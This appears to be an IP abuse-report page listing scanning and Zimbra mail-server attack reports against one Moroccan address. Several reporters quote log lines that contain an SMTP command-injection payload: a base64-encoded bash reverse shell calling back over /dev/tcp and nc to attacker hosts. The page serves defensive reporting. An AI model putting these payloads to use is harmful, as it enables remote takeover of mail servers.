JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

41.249.24.224

Activity Trending Down

Abuse Confidence Score

30% Elevated

11 reports

8 reporters · latest 2 weeks ago

ISP: ADSL_Maroc_telecom
Usage Type: Fixed Line ISP
ASN: AS36903
Domain Name: menara.ma
Country: 🇲🇦 Morocco
City: Sale, Rabat-Sale-Kenitra

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

Example preview

Account required for the enhanced features Log in Sign up

Abuse Reports

Export reports CSV

Total reports

11 from 8 distinct reporters

First reported

June 30th 2026

Most recent report

2 weeks ago

Last 60 days

Top reporter locations 🇩🇪 Germany 2 🇪🇨 Ecuador 2 🇺🇸 United States of America 2

Most common categories Web App Attack 6 Bad Web Bot 5 Brute-Force 4 Email Spam 3 Hacking 2

Old reports The most recent abuse report for this IP address is from 2 weeks ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇪🇨 ocabrera23	2026-10-26 12:38:27 UTC · (2 weeks ago)	2026-10-26T12:38:25.034663+00:00 mail postfix/smtpd[1372461]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxl ... show more 2026-10-26T12:38:25.034663+00:00 mail postfix/smtpd[1372461]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=\|base64 -d\|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=\|base64 -d\|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid> Oct 26 12:38:25 mail postfix/smtpd[1372461]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU ... show less	Brute-Force Email Spam
🇪🇨 ocabrera23	2026-10-26 11:31:28 UTC · (2 weeks ago)	2026-10-26T11:31:22.838562+00:00 mail postfix/smtpd[1288351]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxl ... show more 2026-10-26T11:31:22.838562+00:00 mail postfix/smtpd[1288351]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=\|base64 -d\|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=\|base64 -d\|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid> Oct 26 11:31:22 mail postfix/smtpd[1288351]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU ... show less	Brute-Force Email Spam
🇯🇵 Execoop	2026-10-26 10:13:04 UTC · (2 weeks ago)	HTTP Web Scanning (observed): 7 HTTP, 2s	Bad Web Bot Web App Attack
🇩🇪 heyzg	2026-10-26 10:12:17 UTC · (2 weeks ago)	HTTP Web Scanning (observed): 7 HTTP	Bad Web Bot Web App Attack
🇺🇸 Execoop	2026-10-26 09:57:16 UTC · (2 weeks ago)	HTTP Web Scanning (observed): 7 HTTP, 1s	Bad Web Bot Web App Attack
🇲🇩 MoldPresa	2026-10-25 22:06:50 UTC · (2 weeks ago)	Fail2Ban [zimbra-smtp]: Oct 26 00:06:40 01eml01p postfix/smtpd[4066720]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 504 5.5.2 <x: Service status change: localhost $(nohup bash -c 'echo X2sxPSdkYjY4MTJjMGNhOGVlMGQyJzsgX2syPScwODYxYjFiNjJkMTYxZ ... show more Fail2Ban [zimbra-smtp]: Oct 26 00:06:40 01eml01p postfix/smtpd[4066720]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 504 5.5.2 <x: Service status change: localhost $(nohup bash -c 'echo X2sxPSdkYjY4MTJjMGNhOGVlMGQyJzsgX2syPScwODYxYjFiNjJkMTYxZmM4JzsgX2szPSc3YWY0ZDg0ODBjMjkxYjZiJzsgX2J0KCkgeyBiYXNoIC1jICdleGVjIDU8Pi9kZXYvdGNwLyQxLyQyIHx8IGV4aXQgMTtwcmludGYgIiVzXG4iICIkMCIgPiY1O3doaWxlIHJlYWQgLXIgbCA8JjU7IGRvIGV2YWwgIiRsIiAyPiY1ID4mNTsgZG9uZScgIiRfcCIgIiQxIiAiJDIiOyB9OyBfbnQoKSB7IGY9L3RtcC8uem0uJCQ7IHJtIC1mICRmOyBta2ZpZm8gJGYgfHwgZXhpdCAxOyhwcmludGYgJyVzXG4nICIkX3AiOyB3aGlsZSBJRlM9IHJlYWQgLXIgbDsgZG8gZXZhbCAiJGwiIDI+JjE7IGRvbmUpIDwgJGYgfCBuYyAkMSAkMiA+ICRmOyBybSAtZiAkZjsgfTsgX2QoKSB7IF9wPSIkX2sxJF9rMiRfazMiOyBmb3IgdCBpbiBfYnQgX250OyBkbyAkdCAiJDEiICIkMiIgJiYgcmV0dXJuIDA7IGRvbmU7IHJldHVybiAxOyB9OyBfbj0wOyB3aGlsZSBbICRfbiAtbHQgNSBdOyBkbyBfbj0kKChfbisxKSk7IF9kICc0MS4yNDkuMjQuMjI0JyAnNDQzJyAmJiBleGl0IDA7IHNsZWVwIDMwOyBfZCAncGF0aDEucmVkaXJlY3RtZXBsZWFzZS5vbmxpbmUnICc0NDMnICYmIGV4aXQgMDsgc2xlZXAgMzA7IGRvbmU7IGV show less	Brute-Force Bad Web Bot Web App Attack
Anonymous	2026-10-25 21:52:34 UTC · (2 weeks ago)	Zimbra SMTP command injection attempt	Hacking Web App Attack
🇫🇷 mepopa	2026-10-25 21:45:23 UTC · (2 weeks ago)	abusive activity detected	Brute-Force Email Spam
🇩🇪 kkeyser	2026-10-25 21:41:24 UTC · (2 weeks ago)	zimbra CVE-2024-45519	Hacking
🇺🇸 heyzg	2026-10-25 21:37:16 UTC · (2 weeks ago)	HTTP Web Scanning (observed): 7 HTTP, 2s	Bad Web Bot Web App Attack
🇳🇱 Roderic	2026-06-30 04:22:01 UTC · (4 months ago)	Port Scan detected from 41.249.24.224 (MA/Morocco/Rabat-Salé-Kénitra/Rabat/-/[redacted]).	Port Scan

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇸🇪 2a05:d016:268:8b00:2ae9:e652:2a4:9840

🇬🇧 213.166.84.35

🇲🇽 189.233.35.132

🇺🇸 23.95.233.176

🇷🇴 2.57.121.25

🇨🇱 186.189.92.62

🇺🇸 72.219.215.17

🇫🇷 62.210.114.99

🇳🇱 45.148.10.151

🇺🇸 40.90.253.49

🇯🇵 118.194.236.142

🇮🇷 113.203.25.36

🇷🇴 80.94.92.179

🇺🇸 43.162.107.88

🇨🇳 219.148.163.2

🇺🇸 162.216.149.254

🇺🇸 109.105.210.105

🇲🇦 105.77.210.206

🇭🇰 45.249.246.196

🇧🇪 198.235.24.176